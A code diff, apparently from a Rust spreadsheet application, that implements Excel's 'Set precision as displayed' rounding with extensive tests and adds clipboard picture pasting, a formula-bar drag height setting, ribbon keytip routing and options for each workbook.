+    /// The section whose digits "Set precision as displayed" rounds `n` by. Observed in Excel
+    /// (COM), this differs from the section that displays `n`:
+    /// - Conditions are ignored; the sign picks the section, the first for positives and the
+    ///   second for negatives. `[<1]0.00;0` shows 2.333 as `2` but stores 2.33, and stores -10/3
+    ///   as -3 although it shows `-3.00`. `[>1]0.0;0.000` stores 1/3 as 0.3.
+    /// - A format with a condition and a single number section keeps negatives at full value
+    ///   (`[<1]0.00`, `[>=-100]0.0`); with an `@` section added (`[<1]0.00;@`) negatives use the
+    ///   first section, as every format without a condition does.
+    /// - A completely empty section (no characters, not even a colour) passes to the next one:
+    ///   `0.0;;0.000` stores -2.333 as -2.333, `;0.0` stores 2.333 as 2.3, `;;0.0` too. A section
+    ///   with only a colour or a literal (`0.0;[Red];0.000`, `0.0;" "`) has no digits and keeps
+    ///   the full value.
+    ///
+    /// `None` keeps the full value.
+    fn rounding_section(&self, n: f64) -> Option<&Section> {
+        let secs = self.num_sections();
+        let conditional = secs.iter().any(|s| s.cond.is_some());
+        let slot = if n < 0.0 && secs.len() >= 2 {
+            1
+        } else if n < 0.0 && conditional && self.inner.text_section.is_none() {
+            return None;
+        } else {
+            0
+        };
+        let empty = |s: &Section| s.toks.is_empty() && s.color.is_none() && s.cond.is_none();
+        secs.get(slot..)?.iter().find(|s| !empty(s))
+    }
+
    fn format_text(&self, t: &str) -> Formatted {
        match self.inner.text_section.and_then(|i| self.inner.sections.get(i)) {
            Some(sec) => {
@@ -230,9 +230,31 @@ fn digit_indices(toks: &[Tok], range: std::ops::Range<usize>) -> Vec<usize> {
    range.filter(|&i| matches!(toks.get(i), Some(Tok::Digit(_)))).collect()
 }

-/// Renders a non-negative number through a number section.
-pub(crate) fn render_number(sec: &Section, v: f64) -> Out {
-    let mut x = v.abs();
+/// Where a number section's placeholders are: the decimal point, the exponent, and the digit
+/// placeholders before the point (or exponent) and between the point and the exponent.
+struct NumberLayout {
+    point: Option<usize>,
+    exp: Option<usize>,
+    int_idx: Vec<usize>,
+    frac_idx: Vec<usize>,
+}
+
+fn number_layout(toks: &[Tok]) -> NumberLayout {
+    let n = toks.len();
+    let point = toks.iter().position(|t| matches!(t, Tok::Point));
+    let exp = toks.iter().position(|t| matches!(t, Tok::Exp { .. }));
+    let int_end = point.or(exp).unwrap_or(n);
+    let frac_end = exp.unwrap_or(n);
+    let int_idx = digit_indices(toks, 0..int_end);
+    let frac_idx = match point {
+        Some(p) => digit_indices(toks, p + 1..frac_end),
+        None => Vec::new(),
+    };
+    NumberLayout { point, exp, int_idx, frac_idx }
+}
+
+/// The number a section works on: each `%` multiplies by 100, each scaling comma divides by 1000.
+fn scaled(sec: &Section, mut x: f64) -> f64 {
    // Observed: `%` in a scientific section is only a literal (`#%e+#` shows 123456.789 as
    // `1%e+5`).
    if sec.percent > 0 && !sec.exp {
@@ -241,6 +263,75 @@ pub(crate) fn render_number(sec: &Section, v: f64) -> Out {
    if sec.scale > 0 {
        x /= 1000f64.powi(sec.scale.min(110));
    }
+    x
+}
+
+/// Scientific notation of a non-negative `x` with `int_count` integer and `frac_count` fraction
+/// placeholders: the exponent (a multiple of the integer placeholder count, engineering style)
+/// and the mantissa's integer and fraction digits.
+fn scientific_parts(x: f64, int_count: usize, frac_count: usize) -> (i32, String, String) {
+    if x == 0.0 {
+        // Observed: zero shows `0` in every integer placeholder, `#` and `?` too
+        // (`#.#E+#` gives `0.E+0`, `####.####E+#` gives `0000.E+0`).
+        return (0, "0".repeat(int_count), "0".repeat(frac_count));
+    }
+    let step = int_count.max(1) as i32;
+    let (digits, xe) = decimal_digits(x);
+    let mut e = xe - xe.rem_euclid(step);
+    let (mut i, mut f) = fixed_from_digits(&digits, xe - e, frac_count);
+    if i.len() > step as usize {
+        e += step;
+        (i, f) = fixed_from_digits(&digits, xe - e, frac_count);
+    }
+    (e, i, f)
+}
+
+/// The number a number section shows for a non-negative `v`, as a value: what "Set precision as
+/// displayed" stores. `None` when the section shows no digits (`"x"`) or the result isn't finite.
+/// It uses the display's own rounding, so 1.005 with `0.00` gives 1.01, and 0.123456 with
+/// `0.00%` gives 0.1235 (the nearest double to the decimal shown).
+pub(crate) fn shown_value(sec: &Section, v: f64) -> Option<f64> {
+    if !sec.has_digits || !v.is_finite() {
+        return None;
+    }
+    let x = scaled(sec, v.abs());
+    if !x.is_finite() {
+        return None;
+    }
+    if x == 0.0 {
+        return Some(0.0);
+    }
+    // `%` and scaling are undone by moving the decimal point in the digits shown, so the result
+    // is the nearest double to that decimal rather than a product with its own rounding error.
+    let pct = if sec.exp { 0 } else { sec.percent.min(20) };
+    let shift = 3 * sec.scale.clamp(0, 110) - 2 * pct;
+    let shown = if sec.fraction {
+        let lay = fraction_layout(&sec.toks)?;
+        let (whole, num, den) = fraction_parts(&lay, x);
+        let den = den.max(1) as f64;
+        (whole * den + num) / den * 10f64.powi(shift)
+    } else {
+        let NumberLayout { exp, frac_idx, .. } = number_layout(&sec.toks);
+        let (e, int_s, frac_s) = match exp {
+            // Observed: the stored value keeps one digit plus the fraction digits, whatever the
+            // integer placeholders (`##0.0E+0` stores 123456.789 as 120000 though it shows
+            // `123.5E+3`; `###.00E+0` keeps three digits). A `%` in a scientific section stores a
+            // value that matches neither the display nor this rule: left as is.
+            Some(_) if sec.percent > 0 => return None,
+            Some(_) => scientific_parts(x, 1, frac_idx.len()),
+            None => {
+                let (i, f) = fixed(x, frac_idx.len());
+                (0, i, f)
+            }
+        };
+        format!("0{int_s}.{frac_s}0e{}", i64::from(e) + i64::from(shift)).parse::<f64>().ok()?
+    };
+    shown.is_finite().then_some(shown)
+}
+
+/// Renders a non-negative number through a number section.
+pub(crate) fn render_number(sec: &Section, v: f64) -> Out {
+    let mut x = scaled(sec, v.abs());
    if !x.is_finite() {
        x = f64::MAX;
    }
@@ -256,32 +347,10 @@ pub(crate) fn render_number(sec: &Section, v: f64) -> Out {
        lits = vec![None; n];
        render_fraction(sec, x, &mut pieces, &mut lits);
    } else {
-        let point = toks.iter().position(|t| matches!(t, Tok::Point));
-        let exp = toks.iter().position(|t| matches!(t, Tok::Exp { .. }));
-        let int_end = point.or(exp).unwrap_or(n);
-        let frac_end = exp.unwrap_or(n);
-        let int_idx = digit_indices(toks, 0..int_end);
-        let frac_idx = match point {
-            Some(p) => digit_indices(toks, p + 1..frac_end),
-            None => Vec::new(),
-        };
+        let NumberLayout { point, exp, int_idx, frac_idx } = number_layout(toks);
        let (int_s, frac_s) = if let Some(e_at) = exp {
            let exp_idx = digit_indices(toks, e_at + 1..n);
-            let step = int_idx.len().max(1) as i32;
-            let (mut e, int_s, frac_s) = if x == 0.0 {
-                // Observed: zero shows `0` in every integer placeholder, `#` and `?` too
-                // (`#.#E+#` gives `0.E+0`, `####.####E+#` gives `0000.E+0`).
-                (0i32, "0".repeat(int_idx.len()), "0".repeat(frac_idx.len()))
-            } else {
-                let (digits, xe) = decimal_digits(x);
-                let mut e = xe - xe.rem_euclid(step);
-                let (mut i, mut f) = fixed_from_digits(&digits, xe - e, frac_idx.len());
-                if i.len() > step as usize {
-                    e += step;
-                    (i, f) = fixed_from_digits(&digits, xe - e, frac_idx.len());
-                }
-                (e, i, f)
-            };
+            let (mut e, int_s, frac_s) = scientific_parts(x, int_idx.len(), frac_idx.len());
            // Exponent text.
            let (upper, plus) = match toks.get(e_at) {
                Some(Tok::Exp { upper, plus }) => (*upper, *plus),
@@ -424,19 +493,23 @@ fn blank_range(toks: &[Tok], range: std::ops::Range<usize>, spaces: bool, pieces
    }
 }

-/// A fraction section is `[whole] [sep] num [lit] / [lit] den`: the numerator is the run of
-/// placeholders ending at the last one before the bar, the whole part is every placeholder
-/// before it (literals between them stay), `sep` the literals between the two parts.
-///
-/// Observed Excel behaviour: when the whole part shows no digit its separator disappears (or
-/// becomes spaces when the whole part or the numerator has a `?`); when the fraction is zero and
-/// the numerator has no `0` placeholder, the separator, numerator, bar and denominator disappear
-/// (or become spaces when any part has a `?`) and the whole part shows at least `0`.
-fn render_fraction(sec: &Section, x: f64, pieces: &mut [String], lits: &mut [Option<String>]) {
-    let toks = &sec.toks;
+/// Where a fraction section's parts are (see [`render_fraction`]).
+struct FractionLayout {
+    slash: usize,
+    num_start: usize,
+    whole_idx: Vec<usize>,
+    num_idx: Vec<usize>,
+    sep_start: usize,
+    fixed_den: Option<u64>,
+    den_start: usize,
+    den_end: usize,
+    den_idx: Vec<usize>,
+}
+
+fn fraction_layout(toks: &[Tok]) -> Option<FractionLayout> {
    let is_digit = |i: usize| matches!(toks.get(i), Some(Tok::Digit(_)));
-    let Some(slash) = toks.iter().position(|t| matches!(t, Tok::Slash)) else { return };
-    let Some(num_last) = (0..slash).rev().find(|&i| is_digit(i)) else { return };
+    let slash = toks.iter().position(|t| matches!(t, Tok::Slash))?;
+    let num_last = (0..slash).rev().find(|&i| is_digit(i))?;
    let mut num_start = num_last;
    while num_start > 0 && is_digit(num_start - 1) {
        num_start -= 1;
@@ -463,16 +536,20 @@ fn render_fraction(sec: &Section, x: f64, pieces: &mut [String], lits: &mut [Opt
        }
    }
    let den_idx = digit_indices(toks, den_start..den_end);
-    let has_q = |idx: &[usize]| idx.iter().any(|&i| toks.get(i) == Some(&Tok::Digit('?')));
-    let has_whole = !whole_idx.is_empty();
+    Some(FractionLayout { slash, num_start, whole_idx, num_idx, sep_start, fixed_den, den_start, den_end, den_idx })
+}
+
+/// The whole part, numerator and denominator a fraction section shows for a non-negative `x`.
+fn fraction_parts(lay: &FractionLayout, x: f64) -> (f64, f64, u64) {
+    let has_whole = !lay.whole_idx.is_empty();
    let (mut whole, f) = if has_whole { (x.floor(), x - x.floor()) } else { (0.0, x) };
    // Without a whole part the numerator carries the whole value and can pass u64::MAX, so it
    // stays an f64 (a float-to-u64 cast saturates).
-    let (mut num, den): (f64, u64) = match fixed_den {
+    let (mut num, den): (f64, u64) = match lay.fixed_den {
        Some(d) => ((f * d as f64).round(), d),
        None if f >= 1e15 => (f.round(), 1),
        None => {
-            let digits = den_idx.len().clamp(1, 7) as u32;
+            let digits = lay.den_idx.len().clamp(1, 7) as u32;
            let (n, d) = approximate(f, 10u64.pow(digits) - 1);
            (n as f64, d)
        }
@@ -483,6 +560,24 @@ fn render_fraction(sec: &Section, x: f64, pieces: &mut [String], lits: &mut [Opt
        whole += (n / den) as f64;
        num = (n % den) as f64;
    }
+    (whole, num, den)
+}
+
+/// A fraction section is `[whole] [sep] num [lit] / [lit] den`: the numerator is the run of
+/// placeholders ending at the last one before the bar, the whole part is every placeholder
+/// before it (literals between them stay), `sep` the literals between the two parts.
+///
+/// Observed Excel behaviour: when the whole part shows no digit its separator disappears (or
+/// becomes spaces when the whole part or the numerator has a `?`); when the fraction is zero and
+/// the numerator has no `0` placeholder, the separator, numerator, bar and denominator disappear
+/// (or become spaces when any part has a `?`) and the whole part shows at least `0`.
+fn render_fraction(sec: &Section, x: f64, pieces: &mut [String], lits: &mut [Option<String>]) {
+    let toks = &sec.toks;
+    let Some(lay) = fraction_layout(toks) else { return };
+    let (whole, num, den) = fraction_parts(&lay, x);
+    let FractionLayout { slash, num_start, whole_idx, num_idx, sep_start, fixed_den, den_start, den_end, den_idx } = lay;
+    let has_q = |idx: &[usize]| idx.iter().any(|&i| toks.get(i) == Some(&Tok::Digit('?')));
+    let has_whole = !whole_idx.is_empty();
    let whole_s = if whole >= 1.0 { fixed(whole, 0).0 } else { String::new() };
    let num_zero_ph = num_idx.iter().any(|&i| toks.get(i) == Some(&Tok::Digit('0')));
    if has_whole && num == 0.0 && !num_zero_ph {
@@ -901,3 +901,120 @@ fn closed_brackets_still_hold_their_semicolons() {
    assert_eq!(f("0\\[0", 5.0), "0[5");
    assert_eq!(f("\"[\"0;0", 5.0), "[5");
 }
+
+/// "Set precision as displayed": the value each format stores. Expected values observed in Excel
+/// (COM, `Workbook.PrecisionAsDisplayed = True`) with synthetic values.
+#[test]
+fn round_as_displayed_matches_excel() {
+    let r = |code: &str, n: f64| NumberFormat::parse(code).round_as_displayed(n);
+    let cases: &[(&str, f64, f64)] = &[
+        ("0", 527.91, 528.0),
+        ("0", 2.5, 3.0),
+        ("0", -2.5, -3.0),
+        ("0.00", 1.005, 1.01),
+        ("0.00", 1.23456, 1.23),
+        ("#.##", 1.23456, 1.23),
+        ("#.##", 1.2, 1.2),
+        ("?.??", 1.23456, 1.23),
+        ("0.0??", 1.23456, 1.235),
+        ("0%", 0.123456, 0.12),
+        ("0.0%", 0.123456, 0.123),
+        ("0.00%", 0.123456, 0.1235),
+        ("$#,##0.00", 1234.5678, 1234.57),
+        ("#,##0", 1234.5678, 1235.0),
+        ("0.0,,", 1234567.891, 1200000.0),
+        ("#,##0,", 1234567.891, 1235000.0),
+        ("0.0,", 1234567.891, 1234600.0),
+        ("# ?/?", 0.3333333, 1.0 / 3.0),
+        ("# ??/??", 0.3333333, 1.0 / 3.0),
+        ("# ?/8", 0.3, 0.25),
+        ("# ?/4", 2.71829, 2.75),
+        ("?/?", 0.123, 0.125),
+        ("0.00E+00", 123456.789, 123000.0),
+        ("##0.0E+0", 123456.789, 120000.0),
+        ("0.0E+0", 0.000123456, 0.00012),
+        ("##0.E+0", 98765.4, 100000.0),
+        ("###.00E+0", 98765.4, 98800.0),
+        ("000.0E+0", 0.0123456, 0.012),
+        ("0.00E+0\" u\"", 98765.4, 98800.0),
+        ("0.0%E+0", 12345.0, 12345.0),
+        ("0.00;(0.00)", -1.23456, -1.23),
+        ("0.00;(0.0)", -1.23456, -1.2),
+        ("0.0 \"kg\"", 1.23456, 1.2),
+        ("0.00;-0.00;\"zero\"", 0.001, 0.0),
+        ("0.00_);(0.00)", 1.23456, 1.23),
+        ("#,##0.0_);[Red](#,##0.0)", 2.345, 2.3),
+        // Kept at full precision.
+        ("General", 1.0 / 3.0, 1.0 / 3.0),
+        ("m/d/yyyy", 45000.75, 45000.75),
+        ("h:mm", 45000.123456, 45000.123456),
+        ("h:mm:ss", 45000.123456, 45000.123456),
+        ("[h]:mm", 1.2345678, 1.2345678),
+        ("mm:ss.0", 0.0001234567, 0.0001234567),
+        ("d", 45000.6, 45000.6),
+        ("@", 1.23456, 1.23456),
+        ("\"x\"", 1.23456, 1.23456),
+        (";;;", 1.23456, 1.23456),
+        // Conditions are ignored: the sign picks the section (first for positives, second for
+        // negatives), whatever section displays the number.
+        ("[<1]0.00;0", 1.0 / 3.0, 0.33),
+        ("[<1]0.00;0", 2.0 + 1.0 / 3.0, 2.33),
+        ("[<1]0.00;0", 12345.678, 12345.68),
+        ("[<1]0.00;0", -10.0 / 3.0, -3.0),
+        ("[<1]0.00;0", -1.0 / 3.0, 0.0),
+        ("[>1]0.0;0.000", 1.0 / 3.0, 0.3),
+        ("[>1]0.0;0.000", -10.0 / 3.0, -3.333),
+        ("[>=100]0;0.000", 2.0 + 1.0 / 3.0, 2.0),
+        ("[>=100]0;0.000", -200.0 - 1.0 / 3.0, -200.333),
+        ("[<0]0.0;0.000", -2.0 - 1.0 / 3.0, -2.333),
+        ("[>100]0;[<-100]0.0;0.000", -2.0 - 1.0 / 3.0, -2.3),
+        ("[<=-1]0.0;[>=1]0.000;0.00000", -2.0 - 1.0 / 3.0, -2.333),
+        ("0.0;[<-5]0.000", -2.0 - 1.0 / 3.0, -2.333),
+        ("[<1]0.00%;0", 2.0 + 1.0 / 3.0, 2.3333),
+        ("[<1]0.00;0.0,", -2345.6789, -2300.0),
+        ("[<1]0.0E+0;0", 1.0 / 3.0, 0.33),
+        ("[<1]# ?/?;0", 2.3, 16.0 / 7.0),
+        ("[<1]0.00;?/8", -2.0 - 1.0 / 3.0, -2.375),
+        ("[<1]0.00;0.0;0.000;@", -2.0 - 1.0 / 3.0, -2.3),
+        ("[<1]\"x\";0.0", 2.0 + 1.0 / 3.0, 2.0 + 1.0 / 3.0),
+        ("[<1]\"x\";0.0", -2.0 - 1.0 / 3.0, -2.3),
+        ("[<1]m/d/yyyy;0.0", 2.0 + 1.0 / 3.0, 2.0 + 1.0 / 3.0),
+        ("[<1]0.0;m/d/yyyy", -2.0 - 1.0 / 3.0, -2.0 - 1.0 / 3.0),
+        // One section with a condition: negatives keep the full value, unless an `@` section
+        // follows (then the first section applies, as without a condition).
+        ("[<1]0.00", 2.0 + 1.0 / 3.0, 2.33),
+        ("[<1]0.00", -2.0 - 1.0 / 3.0, -2.0 - 1.0 / 3.0),
+        ("[>=-100]0.0", -2.0 - 1.0 / 3.0, -2.0 - 1.0 / 3.0),
+        ("[<1]0.00;@", -2.0 - 1.0 / 3.0, -2.33),
+        ("[<1]0.0%;@", -2.0 - 1.0 / 3.0, -2.333),
+        ("0.00;@", -2.0 - 1.0 / 3.0, -2.33),
+        // A completely empty section passes to the next; a colour or a literal doesn't.
+        ("0.0;;0.000", -2.0 - 1.0 / 3.0, -2.333),
+        ("[<1]0.0;;0.000", -2.0 - 1.0 / 3.0, -2.333),
+        ("[<1]0.0;;0.0%", -2.0 - 1.0 / 3.0, -2.333),
+        (";0.0", 2.0 + 1.0 / 3.0, 2.3),
+        (";;0.0", 2.0 + 1.0 / 3.0, 2.3),
+        (";;0.0", -2.0 - 1.0 / 3.0, -2.3),
+        ("0.0;;", -2.0 - 1.0 / 3.0, -2.0 - 1.0 / 3.0),
+        ("0.0;;@", -2.0 - 1.0 / 3.0, -2.0 - 1.0 / 3.0),
+        ("[<1]0.00;", -2.0 - 1.0 / 3.0, -2.0 - 1.0 / 3.0),
+        ("0.0;[Red];0.000", -2.0 - 1.0 / 3.0, -2.0 - 1.0 / 3.0),
+        ("[<1]0.0;\" \";0.000", -2.0 - 1.0 / 3.0, -2.0 - 1.0 / 3.0),
+        ("[<1];0.0;0.00", 2.0 + 1.0 / 3.0, 2.0 + 1.0 / 3.0),
+    ];
+    for &(code, n, want) in cases {
+        assert_eq!(r(code, n), want, "{code} with {n}");
+    }
+    // A negative that rounds to zero stores 0, not -0.
+    let z = r("0.00", -0.004);
+    assert!(z == 0.0 && z.is_sign_positive());
+    // Non-finite and extreme inputs come back unchanged or finite, never a panic.
+    assert!(r("0.00", f64::NAN).is_nan());
+    assert_eq!(r("0.00", f64::INFINITY), f64::INFINITY);
+    assert_eq!(r("0", 1e300 * 10.0), 1e301);
+    assert_eq!(r("0.0,,,,,,,,,,", 1.234e35), 1.234e35);
+    assert_eq!(r("0.000000000000000000000000000000", 1.0 / 3.0), 0.333333333333333);
+    assert_eq!(r("0%%%%%%%%%%%%%%%%%%%%%%%%", f64::MAX), f64::MAX);
+    assert_eq!(r("0", f64::MAX), f64::MAX);
+    assert_eq!(r("0.0E+0", f64::MIN_POSITIVE), 2.2e-308);
+}
@@ -18,6 +18,7 @@ gridcraft-chart = { workspace = true }
 # this feature. The UI draws ✕, ◀, ↘ and 📋 as text; without these faces the strict kittest
 # harness (and a host with no symbol font) renders them as tofu.
 egui = { workspace = true, features = ["default_fonts", "monochrome_emoji_fonts"] }
+egui_extras = { workspace = true }
 serde = { workspace = true }
 serde_json = { workspace = true }
 log = { workspace = true }
@@ -107,7 +107,9 @@ impl SheetApp {
    pub fn logic(&mut self, ctx: &egui::Context) {
        self.ensure_text_width(ctx);
        // A keytip control request lives one frame: the ribbon consumes it during `ui`, and
-        // anything that never reached a control (collapsed ribbon, tab switch) is dropped.
+        // anything that never reached a control (collapsed ribbon, tab switch) is dropped. One
+        // made with a switch to the control's tab waits, with its window, for the next `ui` of
+        // that window.
        self.ui.keytip_invoke = None;
        // Floating pictures' textures go with their workbook, even when no sheet is painted.
        let open: Vec<u64> = self.session.documents().iter().map(|d| d.uid).collect();
@@ -194,6 +196,9 @@ impl SheetApp {
        let t0 = now_ms();
        // A script may have switched windows since the last frame.
        self.follow_active_window();
+        // This window's key tip request that waited for this frame (its tab or ribbon was just
+        // shown); any other window's request was dropped before it.
+        self.ui.keytip_invoke = self.ui.keytip_invoke_next.take();
        text_box::before_ui(self, &ctx);
        // Another window came forward without going through a command (which settles drafts
        // first): the draft goes into its own window instead of floating over this one. If its
@@ -48,12 +48,41 @@ impl SheetApp {
    }

    /// Ribbon and menu Paste: paste the text on the system clipboard, as Cmd/Ctrl+V does. With no
-    /// text there, no host clipboard (web), or the text that was there when GridCraft last copied
-    /// without publishing, GridCraft's own clipboard is pasted.
+    /// text there but a picture, the picture is pasted. With neither, no host clipboard (web), or
+    /// the text that was there when GridCraft last copied without publishing, GridCraft's own
+    /// clipboard is pasted.
    pub fn paste_from_clipboard(&mut self) {
        match self.system_clipboard_text() {
            Some(text) if self.session.clipboard.is_none() || self.clipboard_text_at_copy.as_ref() != Some(&text) => self.paste_external(text),
-            _ => self.run_or_alert("edit.paste", json!({})),
+            Some(_) => self.run_or_alert("edit.paste", json!({})),
+            None => match self.services.paste_image.as_mut().and_then(|read| read()) {
+                Some(image) => self.paste_picture(image),
+                None => self.run_or_alert("edit.paste", json!({})),
+            },
+        }
+    }
+
+    /// Paste a picture from the system clipboard (a screenshot, an image copied in a browser) as
+    /// a floating picture whose top-left corner is the active cell, as Excel does.
+    pub fn paste_picture(&mut self, image: image::RgbaImage) {
+        match encode_png(&image) {
+            Ok(png) => self.run_or_alert("insert.picture", json!({"base64": gridcraft_engine::io::base64_encode(&png), "mime": "image/png"})),
+            Err(e) => self.alert(e),
+        }
+    }
+
+    /// Cmd/Ctrl+V with a picture and no text on the clipboard (egui's `Event::PasteImage`).
+    pub fn paste_color_image(&mut self, image: &egui::ColorImage) {
+        let [w, h] = image.size;
+        // A side too large for u32 is too large to paste; check before copying the pixels.
+        let (w, h) = (u32::try_from(w).unwrap_or(u32::MAX), u32::try_from(h).unwrap_or(u32::MAX));
+        if let Err(e) = check_picture_size(w, h) {
+            return self.alert(e);
+        }
+        let rgba = image.pixels.iter().flat_map(|c| c.to_srgba_unmultiplied()).collect();
+        match image::RgbaImage::from_raw(w, h, rgba) {
+            Some(image) => self.paste_picture(image),
+            None => self.alert("The picture on the clipboard can't be read.".into()),
        }
    }

@@ -75,3 +104,29 @@ impl SheetApp {
        }
    }
 }
+
+/// Largest clipboard picture pasted, per side and in total (an 8K screenshot fits).
+const MAX_PICTURE_SIDE: u32 = 16_384;
+const MAX_PICTURE_PIXELS: u64 = 64 * 1024 * 1024;
+
+/// Refuse empty clipboard pictures and sizes that would exhaust memory.
+fn check_picture_size(w: u32, h: u32) -> Result<(), String> {
+    if w == 0 || h == 0 {
+        return Err("The picture on the clipboard is empty.".into());
+    }
+    if w > MAX_PICTURE_SIDE || h > MAX_PICTURE_SIDE || u64::from(w) * u64::from(h) > MAX_PICTURE_PIXELS {
+        return Err("The picture on the clipboard is too large to paste.".into());
+    }
+    Ok(())
+}
+
+/// PNG bytes of a clipboard picture, refusing sizes that would exhaust memory.
+fn encode_png(image: &image::RgbaImage) -> Result<Vec<u8>, String> {
+    let (w, h) = image.dimensions();
+    check_picture_size(w, h)?;
+    let mut png = Vec::new();
+    image
+        .write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png)
+        .map_err(|e| format!("The picture on the clipboard can't be pasted: {e}"))?;
+    Ok(png)
+}
@@ -163,8 +163,19 @@ impl SheetApp {
                Ok(Json::Null)
            }
            "view.expandFormulaBar" => {
-                self.ui.formula_bar_expanded = p.get("on").and_then(Json::as_bool).unwrap_or(!self.ui.formula_bar_expanded);
-                Ok(json!({"on": self.ui.formula_bar_expanded}))
+                // `lines` is where a drag of the bar's bottom edge left it: one line collapses it,
+                // more expands it to that height, which expanding returns to afterwards.
+                if let Some(lines) = p.get("lines").and_then(Json::as_u64) {
+                    let lines = usize::try_from(lines).unwrap_or(usize::MAX).clamp(1, crate::formula_bar::MAX_DRAG_LINES);
+                    self.ui.formula_bar_expanded = lines > 1;
+                    if lines > 1 {
+                        self.ui.formula_bar_lines = lines;
+                    }
+                    Ok(json!({"on": self.ui.formula_bar_expanded, "lines": self.ui.formula_bar_lines}))
+                } else {
+                    self.ui.formula_bar_expanded = p.get("on").and_then(Json::as_bool).unwrap_or(!self.ui.formula_bar_expanded);
+                    Ok(json!({"on": self.ui.formula_bar_expanded}))
+                }
            }
            "view.darkMode" => {
                let current = if self.ui.system_theme { self.effective_dark } else { self.ui.dark };
@@ -191,6 +202,10 @@ impl SheetApp {
                self.ui.autocomplete = p.get("on").and_then(Json::as_bool).unwrap_or(!self.ui.autocomplete);
                Ok(json!({"on": self.ui.autocomplete}))
            }
+            "options.highlightActiveRow" => {
+                self.ui.highlight_active_row = p.get("on").and_then(Json::as_bool).unwrap_or(!self.ui.highlight_active_row);
+                Ok(json!({"on": self.ui.highlight_active_row}))
+            }
            "view.interfaceScale" => {
                // `{"percent": 125}` or `{"percent": "auto"}`; out-of-range values are clamped.
                let percent = match p.get("percent") {
@@ -312,7 +327,7 @@ impl SheetApp {
    }

    /// Whether the active sheet of the active document is protected (drives the Protect/Unprotect
-    /// Sheet labels and actions). While a dialog's reference boxes have picked, it is the dialog's
+    /// Sheet labels and actions). While a dialog with reference boxes is open, it is the dialog's
    /// own sheet: Protect Sheet ends the pick and acts on that sheet, so the label says so too.
    pub fn active_sheet_protected(&self) -> bool {
        if let Some(protected) = self.dialog.as_ref().and_then(|d| d.home_sheet_protected(self)) {
@@ -59,7 +59,22 @@ impl SheetApp {
                // Route to the ribbon control that owns this keytip: it opens its dropdown or
                // runs its click handler with the right params (the engine command alone would
                // be missing them).
-                keytips::Action::Control(id) => self.ui.keytip_invoke = Some(id),
+                //
+                // A control on another tab (a legacy menu key such as Alt+I, S for the Symbol
+                // gallery) shows its tab first, so the control is drawn and takes the request.
+                keytips::Action::Control(id) => {
+                    // A collapsed ribbon draws no controls either: it is expanded the same way.
+                    let other_tab = gridcraft_engine::find_command(id).and_then(|c| c.menu.first()).filter(|t| **t != self.ui.ribbon_tab);
+                    if other_tab.is_some() || self.ui.ribbon_collapsed {
+                        if let Some(tab) = other_tab {
+                            self.run_or_alert("ui.ribbonTab", json!({"tab": tab}));
+                        }
+                        self.ui.ribbon_collapsed = false;
+                        self.ui.keytip_invoke_next = Some(id);
+                    } else {
+                        self.ui.keytip_invoke = Some(id);
+                    }
+                }
            }
        }
    }
@@ -2,7 +2,8 @@ use super::{Key, Language, Modifiers, SheetApp, Ui, dim, i18n, json, section, ve

 /// Excel's File › Options page: General (display theme, interface language and Show formula bar),
 /// Editing (AutoComplete) and Save (the autosave checkbox toggling `app.ui.autosave`), plus Formulas
-/// (calculation mode and iterative calculation) when a document is active. Theme, language, formula
+/// (calculation mode and iterative calculation) and the display options for this workbook (sheet
+/// tabs and scroll bars) when a document is active. Theme, language, formula
 /// bar, AutoComplete and calculation changes run their commands through `run_or_alert`; calculation
 /// settings are saved with the workbook.
 pub(super) fn options(app: &mut SheetApp, ui: &mut Ui) {
@@ -14,6 +15,10 @@ pub(super) fn options(app: &mut SheetApp, ui: &mut Ui) {
    if ui.checkbox(&mut formula_bar, lang.tr("Show formula bar")).changed() {
        app.run_or_alert("view.formulaBar", json!({"on": formula_bar}));
    }
+    let mut highlight_row = app.ui.highlight_active_row;
+    if ui.checkbox(&mut highlight_row, lang.tr("Highlight the active cell's row")).changed() {
+        app.run_or_alert("options.highlightActiveRow", json!({"on": highlight_row}));
+    }
    ui.add_space(18.0);
    section(ui, lang, "Options|Editing");
    let mut autocomplete = app.ui.autocomplete;
@@ -26,7 +31,20 @@ pub(super) fn options(app: &mut SheetApp, ui: &mut Ui) {
    if ui.checkbox(&mut autosave, lang.tr("Save .xlsx workbooks automatically after every change")).changed() {
        app.toggle_autosave();
    }
-    let Some(calc) = app.session.active().map(|d| d.wb.calc.clone()) else { return };
+    let Some((calc, view)) = app.session.active().map(|d| (d.wb.calc.clone(), d.wb.view)) else { return };
+    ui.add_space(18.0);
+    // Excel's Advanced › Display options for this workbook: saved with the workbook (#3101).
+    section(ui, lang, "Display options for this workbook");
+    for (on, label, id) in [
+        (view.show_horizontal_scroll, "Show horizontal scroll bar", "view.showHorizontalScrollBar"),
+        (view.show_vertical_scroll, "Show vertical scroll bar", "view.showVerticalScrollBar"),
+        (view.show_sheet_tabs, "Show sheet tabs", "view.showSheetTabs"),
+    ] {
+        let mut on = on;
+        if ui.checkbox(&mut on, lang.tr(label)).changed() {
+            app.run_or_alert(id, json!({"on": on}));
+        }
+    }
    ui.add_space(18.0);
    section(ui, lang, "Formulas");
    ui.label(lang.tr("Workbook calculation"));
@@ -1,5 +1,5 @@
 //! Floating objects on the sheet: charts (rendered by `gridcraft-chart` into primitives that
-//! we paint with egui), pictures, shapes, equations and slicers.
+//! we paint with egui), pictures, shapes, equations, slicers and form controls (`form_controls.rs`).

 use egui::epaint::{PathShape, PathStroke};
 use egui::{Align2, Color32, FontId, Painter, Pos2, Rect, Stroke, StrokeKind, pos2, vec2};
@@ -316,11 +316,12 @@ pub(crate) fn paint_objects(app: &SheetApp, p: &Painter, geo: &Geo, wb: &Workboo
                p.add(PathShape::convex_polygon(vec![pos2(r.center().x, r.top()), r.right_bottom(), r.left_bottom()], fill, Stroke::new(1.0, line)));
            }
            ShapeKind::Ink => {
-                let w = gridcraft_engine::cmd::draw::ink_width(sp) * geo.z;
+                let pt = gridcraft_engine::cmd::draw::ink_width(sp);
+                let w = pt * geo.z;
                let pts: Vec<Pos2> =
                    gridcraft_engine::cmd::draw::ink_points(sp).iter().map(|q| pos2(r.left() + q[0] * geo.z, r.top() + q[1] * geo.z)).collect();
                if pts.len() >= 2 {
-                    let col = if w > 8.0 { line.gamma_multiply(0.45) } else { line };
+                    let col = ink_color(line, pt);
                    p.add(PathShape::line(pts, PathStroke::new(w, col)));
                }
                label = false;
@@ -380,6 +381,18 @@ pub(crate) fn paint_objects(app: &SheetApp, p: &Painter, geo: &Geo, wb: &Workboo
        done(start, r);
    }
